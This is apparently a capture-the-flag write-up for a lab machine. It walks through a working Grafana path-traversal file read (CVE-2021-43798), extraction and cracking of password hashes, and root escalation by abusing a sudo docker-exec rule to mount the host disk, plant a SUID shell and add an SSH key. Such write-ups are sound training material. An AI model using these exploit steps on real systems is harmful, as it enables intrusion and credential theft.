Overview

Data is an easy Linux machine from VL created by xct that starts off with exploiting CVE-2021-43798 to read a database file. I then use a python script to format the hash that was found in the database file into hashcat format. Then I crack the hash to reveal creds that work over SSH for the user flag. For root I’ll take advantage of a sudo misconfiguration to run bash in a docker container, and then I can mount the host filesystem to read the root flag. I’ll showcase two different easy ways to get a shell as root.

Nmap Scan

Scan

I’ll start by running nmap to discover open ports:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
獣 ~/vl/Data/scans/tcp ➜ nmap -sCV --top-ports 10000 -T4 -vvvv 10.10.98.154 -oA data
Nmap scan report for 10.10.98.154
Host is up, received echo-reply ttl 63 (0.17s latency).
Scanned at 2024-10-29 22:17:17 EDT for 148s
Not shown: 8366 closed tcp ports (reset)
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 a9:7c:7b:91:37:3f:21:71:29:3f:03:04:7e:77:67:fd (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCtqCBvyxhOi7qFhgh5MvVYb3HTzCkEmV+q2ILztnc/aoNKOTpBgInStcNVaFz7YFtg+mFBKBRi24LBfrbtoLFeYbIRgNGF2Hpe9cn7YwepddvxM3tu/fCIwrW734x6QB0+LsqwBpJXzjwEHGW/0KXZkbqpCtTG+nAHtIF1Sksn/M2BO+DX1f5Pr1o8JhNy+mp2ZRB+MhD8zjNeJvDOJJ72HFbJVpHmrp6Lw1t3eOKdOy02kZ0ZLovJM1AT/y/MR/hz02OBIUGx15tz7//O0lQRraRfNBlfeaxC40GG9uA+zYNx1Eyvq8h7BurrIStdcxkXQNGy2DaQr8zX4jUkHRL/
| 256 7b:cc:44:9b:58:aa:b4:22:81:d5:c6:aa:35:d0:9c:b0 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBNud+Moazz/KgZb6MxngsItJHCWQHxiyIEnNSMuH+wGV73FDqgn9iEYwBDrnYeX3l/KHOFwFc3Pl0W+lxhyTgMo=
| 256 93:dc:0d:7f:3b:ee:fd:61:4e:67:86:14:b2:c0:9d:e9 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIK4mb+U9vqw4tYkLEFYoINE7R42RqscPK7d1zTZVIw7K
3000/tcp open ppp? syn-ack ttl 62
| fingerprint-strings:
| GenericLines, Help, Kerberos, RTSPRequest, SSLSessionReq, TLSSessionReq, TerminalServerCookie:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 302 Found
| Cache-Control: no-cache
| Content-Type: text/html; charset=utf-8
| Expires: -1
| Location: /login
| Pragma: no-cache
| Set-Cookie: redirect_to=%2F; Path=/; HttpOnly; SameSite=Lax
| X-Content-Type-Options: nosniff
| X-Frame-Options: deny
| X-Xss-Protection: 1; mode=block
| Date: Wed, 30 Oct 2024 02:18:11 GMT
| Content-Length: 29
| href="/login">Found</a>.
| HTTPOptions:
| HTTP/1.0 302 Found
| Cache-Control: no-cache
| Expires: -1
| Location: /login
| Pragma: no-cache
| Set-Cookie: redirect_to=%2F; Path=/; HttpOnly; SameSite=Lax
| X-Content-Type-Options: nosniff
| X-Frame-Options: deny
| X-Xss-Protection: 1; mode=block
| Date: Wed, 30 Oct 2024 02:18:17 GMT
|_ Content-Length: 0

Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Oct 29 22:19:45 2024 -- 1 IP address (1 host up) scanned in 148.96 seconds

I can see two services, SSH & HTTP. SSH doesn’t give me anything without creds, so my initial target seems to be 3000/tcp which is HTTP.

Recon

HTTP - 3000 (Grafana)

The HTTP instance is running Grafana, and I can see the version that it is running:

Image

The version Grafana is running (8.0.0) is vulnerable to CVE-2021-43798 which is an Unauthorized File Read vulnerability.

Shell as boris

Testing The Exploit

This vulnerability lies in the public/plugins/ subdir. Pretty much any plugin on Grafana can be used to get File Read, I’ll just use alertlist for example:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
獣 ~/vl/Data/enumeration ➜ curl --path-as-is 'http://10.10.98.154:3000/public/plugins/alertlist/../../../../../../../../../etc/passwd'
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/mail:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
cyrus:x:85:12::/usr/cyrus:/sbin/nologin
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
grafana:x:472:0:Linux User,,,:/home/grafana:/sbin/nologin

Using curl with --path-as-is to keep ../ in the URL, I can read /etc/passwd as a PoC.

Getting The DB File

Doing some research about Grafana, I found on Hacktricks that there is an SQLite Database file located at/var/lib/grafana/grafana.db by default. This file is data and not plaintext so so you must use --output to save it as a file in curl:

1
2
3
4
5
6
7
8
獣 ~/vl/Data/enumeration ➜ curl --path-as-is 'http://10.10.98.154:3000/public/plugins/alertlist/../../../../../../../../../var/lib/grafana/grafana.db' --output grafana.db
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 584k 100 584k 0 0 480k 0 0:00:01 0:00:01 --:--:-- 481k
獣 ~/vl/Data/enumeration ➜ ls
grafana.db
獣 ~/vl/Data/enumeration ➜ file grafana.db
grafana.db: SQLite 3.x database, last written using SQLite version 3035004, file counter 342, database pages 146, cookie 0x109, schema 4, UTF-8, version-valid-for 342

Cracking boris’s Hash

I’ll checkout the SQLite DB File using sqlite3:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
獣 ~/vl/Data/enumeration ➜ sqlite3 grafana.db
SQLite version 3.46.0 2024-05-23 13:25:27
Enter ".help" for usage hints.
sqlite> .tables
alert login_attempt
alert_configuration migration_log
alert_instance org
alert_notification org_user
alert_notification_state playlist
alert_rule playlist_item
alert_rule_tag plugin_setting
alert_rule_version preferences
annotation quota
annotation_tag server_lock
api_key session
cache_data short_url
dashboard star
dashboard_acl tag
dashboard_provisioning team
dashboard_snapshot team_member
dashboard_tag temp_user
dashboard_version test_data
data_source user
library_element user_auth
library_element_connection user_auth_token

I’ll look at the user table because that tables tends to contain user info such as hashes, emails,etc:

1
2
3
4
sqlite> select * from user;
1|0|admin|admin@localhost||7a919e4bbe95cf5104edf354ee2e6234efac1ca1f81426844a24c4df6131322cf3723c92164b6172e9e73faf7a4c2072f8f8|YObSoLj55S|hLLY6QQ4Y6||1|1|0||2022-01-23 12:48:04|2022-01-23 12:48:50|0|2022-01-23 12:48:50|0

2|0|boris|boris@data.vl|boris|dc6becccbb57d34daf4a4e391d2015d3350c60df3608e9e99b5291e47f3e5cd39d156be220745be3cbe49353e35f53b51da8|LCBhdtJWjl|mYl941ma8w||1|0|0||2022-01-23 12:49:11|2022-01-23 12:49:11|0|2012-01-23 12:49:11|0

I can see two users, admin@localhost & boris@data.vl. I can’t use hashcat to crack these hashes upfront, so I need to convert them to a format that hashcat can recognize. To do so I’ll use a custom python script that I got from ChatGPT. I was able to figure out how the hashes work based off of an article. Here’s the python script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import base64

users = [
"boris@data.vl|dc6becccbb57d34daf4a4e391d2015d3350c60df3608e9e99b5291e47f3e5cd39d156be220745be3cbe49353e35f53b51da8|LCBhdtJWjl"
]

def main():
for user in users:
userProperties = user.split("|");
email = userProperties[0];
hexHash = userProperties[1];
salt = userProperties[2];

decodedHash = bytes.fromhex(hexHash)
hashB64 = base64.b64encode(decodedHash).decode('utf-8')
saltB64 = base64.b64encode(bytes(salt, 'utf-8')).decode('utf-8')
print(f"sha256:10000:{saltB64}:{hashB64}")



if __name__ == "__main__":
main()

Running this script gives me a hash that hashcat can recognize and crack:

1
2
獣 ~/vl/Data/enumeration ➜ python3 format.py
sha256:10000:TENCaGR0SldqbA==:3GvszLtX002vSk45HSAV0zUMYN82COnpm1KR5H8+XNOdFWviIHRb48vkk1PjX1O1Hag=

I’ll store this hash in a file named boris.hash and I’ll crack it using rockyou.txt:

1
2
3
4
5
6
獣 ~/vl/Data/enumeration ➜ hashcat -a 0 boris.hash /usr/share/wordlists/rockyou.txt --show
hashcat (v6.2.6) starting in autodetect mode

10900 | PBKDF2-HMAC-SHA256 | Generic KDF

sha256:10000:TENCaGR0SldqbA==:3GvszLtX002vSk45HSAV0zUMYN82COnpm1KR5H8+XNOdFWviIHRb48vkk1PjX1O1Hag=:<redacted>

SSH as boris

Using the username boris and the password that I cracked, I can SSH onto the machine:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
獣 ~/vl/Data/enumeration ➜ ssh boris@10.10.98.154
boris@10.10.98.154's password:
Welcome to Ubuntu 18.04.6 LTS (GNU/Linux 5.4.0-1060-aws x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage

System information as of Wed Oct 30 03:00:27 UTC 2024

System load: 0.0 Processes: 99
Usage of /: 19.8% of 7.69GB Users logged in: 0
Memory usage: 24% IP address for eth0: 10.10.98.154
Swap usage: 0% IP address for docker0: 172.17.0.1


0 updates can be applied immediately.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.


Last login: Sun Jan 23 13:11:53 2022 from 10.10.1.254
boris@ip-10-10-10-11:~$

And with that I can read the user flag:

1
2
3
4
boris@ip-10-10-10-11:~$ ls
snap user.txt
boris@ip-10-10-10-11:~$ cat user.txt
VL{<redacted>}

Shell as root

Accessing The Container

I’ll start off by running sudo -l and there is one entry:

1
2
3
4
5
6
boris@ip-10-10-10-11:~$ sudo -l
Matching Defaults entries for boris on ip-10-10-10-11:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User boris may run the following commands on ip-10-10-10-11:
(root) NOPASSWD: /snap/bin/docker exec *

Seems like I can run docker exec with any params, I noticed that there is a container present which is the machine that was running Grafana. I’ll read the machine’s hostname using the Grafana vulnerability:

1
2
獣 ~/vl/Data/enumeration ➜ curl --path-as-is 'http://10.10.98.154:3000/public/plugins/alertlist/../../../../../../../../../etc/hostname'
e6ff5b1cbc85

The container’s hostname is e6ff5b1cbc85, I’ll use my sudo ability to get a bash shell as root in the container:

1
2
3
boris@ip-10-10-10-11:~$ sudo /snap/bin/docker exec -it --privileged -u root e6ff5b1cbc85 /bin/bash
bash-5.1# id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)

Mounting The Host Filesystem

I’ll first run fdisk -l to look at the storage devices:

1
2
3
4
5
6
7
bash-5.1# fdisk -l
Disk /dev/xvda: 8192 MB, 8589934592 bytes, 16777216 sectors
6367 cylinders, 85 heads, 31 sectors/track
Units: sectors of 1 * 512 = 512 bytes

Device Boot StartCHS EndCHS StartLBA EndLBA Sectors Size Id Type
/dev/xvda1 * 0,32,33 20,84,31 2048 16777182 16775135 8190M 83 Linux

I can see one: /dev/xvda1, I’ll try to mount it:

1
2
bash-5.1# mkdir /mnt/zer0xjr
bash-5.1# mount /dev/xvda1 /mnt/zer0xjr

Shell as root (via SUID Bash)

Cool, now I’ll see if this is the host filesystem:

1
2
3
4
bash-5.1# pwd
/mnt/zer0xjr
bash-5.1# cat etc/hostname
ip-10-10-10-11

Nice, this is the host filesystem based off the hostname. Since I’m root on the container, I have root privileges over this mount, so I’ll make a copy of bash and I’ll give it SUID as root:

1
2
3
4
bash-5.1# pwd
/mnt/zer0xjr
bash-5.1# cp bin/bash tmp/zer0xjr
bash-5.1# chmod 4777 tmp/zer0xjr

Now I’ll exit the container and I’ll run that copy of bash that I made with the -p parameter to get a shell as root:

1
2
3
boris@ip-10-10-10-11:~$ /tmp/zer0xjr -p
zer0xjr-4.4# id
uid=1001(boris) gid=1001(boris) euid=0(root) groups=1001(boris)

Shell as root (via authorized_keys)

I can also just write to the root users authorized_keys file with one of my public keys:

1
2
3
4
5
6
boris@ip-10-10-10-11:~$ sudo /snap/bin/docker exec -it --privileged -u root e6ff5b1cbc85 /bin/bash
bash-5.1# cd /mnt/zer0xjr
bash-5.1# cd root/.ssh
bash-5.1# ls
authorized_keys
bash-5.1# echo 'ssh-rsa ...snip... root@kali' > authorized_keys

And now I can SSH as root using my private key:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
獣 ~/vl/Data/enumeration ➜ ssh -i ~/.ssh/id_rsa root@10.10.98.154
Welcome to Ubuntu 18.04.6 LTS (GNU/Linux 5.4.0-1060-aws x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage

System information as of Wed Oct 30 04:53:14 UTC 2024

System load: 0.0 Processes: 108
Usage of /: 19.8% of 7.69GB Users logged in: 1
Memory usage: 27% IP address for eth0: 10.10.98.154
Swap usage: 0% IP address for docker0: 172.17.0.1


0 updates can be applied immediately.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings



The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

root@ip-10-10-10-11:~#

And with that, I can read the root flag:

1
2
root@ip-10-10-10-11:~# cat root.txt
VL{<redacted>}

Thoughts

Data was a pretty good easy machine, I am a noob at understanding mounts and Docker so this machine taught me a lot when it comes to that area.